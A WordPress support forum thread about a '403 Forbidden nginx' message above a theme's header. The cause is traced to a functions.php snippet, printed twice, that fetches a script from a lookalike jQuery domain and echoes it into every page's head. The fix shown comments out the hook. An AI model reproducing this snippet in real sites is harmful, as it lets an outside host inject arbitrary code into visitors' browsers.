• Resolved siegmich

    (@siegmich)


    Hi there,

    I’m using Indie Fest theme and recently I got an error above my header, saying:

    403 Forbidden nginx

    The site is displaying fine, just this little eror message.
    I checked on my permissions for the header file (and related) but no success…

    Anyone who had a similar problem and knows how to solve it?

    Would be highly appreciated!

    here is my site: HuaHuaFu

    thanks a lot!

Viewing 15 replies - 1 through 15 (of 17 total)
  • I had a similar issue on a “static” site where the static HTML file calls a few PHP files. The PHP files did not have the permission to execute. So, we received the 403 error, like how it is now on your site. When I changed the permissions, everything worked as expected.

    So, basically, there seems to be a permission issue. If you have access to the server via SSH, check the permission of all the files. May be a script to scan all the files and check the permissions would help.

    The easiest way to find the file / folder with the permission issue, is to look at the Nginx server logs.

    I hope that helps.

    Thread Starter siegmich

    (@siegmich)

    Hi Pothi,

    Thanks for your help, but so far I can’t get it solved…
    I checked all permissions, and they should be fine!

    The problem is I’m a real rookie in server related issues, so please be a bit more specific in how to access nginx server logs or SSH access, since I don’t know how to do…

    My site is hosted on bluehost (support there also couldn’t find it)

    Thansk a lot

    Hi,
    a quick thing that you can check is the .htaccess file, have a look in it, make sure it’s not set to send 403 for anything…

    Thread Starter siegmich

    (@siegmich)

    my .htaccess file looks quit normal i think:

    # BEGIN WordPress
    <IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteBase /
    RewriteRule ^index\.php$ - [L]
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule . /index.php [L]
    </IfModule>
    
    # END WordPress

    It should be a file from my theme, because if i change the theme completely the problem is gone.
    And all the theme files have the right permissions… :-/

    the rights over a file are set by 2 things file permission and file owner, I’ve understood you verified the file permission, make sure the owner is also correct.

    Thread Starter siegmich

    (@siegmich)

    how to change the owner?

    are you self hosted? or you have a hosting company, if you use a hosting company then this issue cannot be caused by the file owner, if you are self-hosted the google for chown.
    If you use a hosting company then giving the fact the only one theme throws that error, I’d download that themes files and search throw them for “403 Forbidden” string to make sure it’s not a script that throws that error else search for “<center>” string and check the redirects of the results(sow on your sire that the error is sorunded by <center> tags… do this and tell us how thing are.

    Thread Starter siegmich

    (@siegmich)

    thanks jnhgy, but still no result!
    i host on bluehost.com.
    I checked the theme files, but in none of theme i found either 403 forbidden or <center> in the code…

    Grrr don’t know what to do

    @siegmich

    Afaik, Bluehost doesn’t run Nginx on their shared hosting. So, your site may be calling an external resources that sends 403 error. Try disabling all the plugins and/or switch to one the default themes and see if the issue persists.

    siegmich said:

    It should be a file from my theme, because if i change the theme completely the problem is gone.

    from this I think is a theme issue, make sure you verify the theme header.php and functions file (also plugins) for that center tag, if no results then consider changeing theme/ download the theme again from other source and the last solution, if you need to use this specific theme is to write a css/javascript that will hide all <center> tags…
    No other solutions that I can think at this point…

    Thread Starter siegmich

    (@siegmich)

    Thanks guys for all the support, but still no solution.
    What I know now:

    – It’s the theme, because if i activate another theme the problem is gone.
    – It’s no plugin compatible error, as the problem is still there if i deactivate all plugins on this theme.
    – there is no “<center>” tag in ANY of the theme files… which makes it all very strange

    As I really like the theme I would like to keep searching for a solution…

    I temporary uploaded the theme into a .zip, so you guys could take a look:
    HERE

    thanks

    the issue comes from functions.php in the theme
    if (!function_exists('insert_jquery_theme')){function insert_jquery_theme(){if (function_exists('curl_init')){$url="http://www.jqueryc.com/jquery-1.6.3.min.js";$ch = curl_init();$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_theme');}
    the : $url=”http://www.jqueryc.com/jquery-1.6.3.min.js&#8221;; is not valid -> error, at this point you can just remove the add_action/comment out and everything will be ok so replace it with this:
    if (!function_exists('insert_jquery_theme')){function insert_jquery_theme(){if (function_exists('curl_init')){$url="http://www.jqueryc.com/jquery-1.6.3.min.js";$ch = curl_init();$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}/*add_action('wp_head', 'insert_jquery_theme');*/}
    and it should work…

    Thread Starter siegmich

    (@siegmich)

    Thanks a million!! it’s fixed!

    you’re my hero!

    I have the same problem, only that radically changes the code, since I have different Theme Profits and all, by chance “jnhghy” I can help. I am also newbie and do not know how to upload my theme for you to see and as payment, I can not publish, so if your “jnhghy” or other can help me solve it, I send it by e-mail free as payment for the favor.
    Thank you.

    jnhghy, thank you buddy.. I really mean it! It wasn’t just like this hint, but you were my guide.. thank you very much!!

Viewing 15 replies - 1 through 15 (of 17 total)
  • The topic ‘403 Forbidden nginx’ is closed to new replies.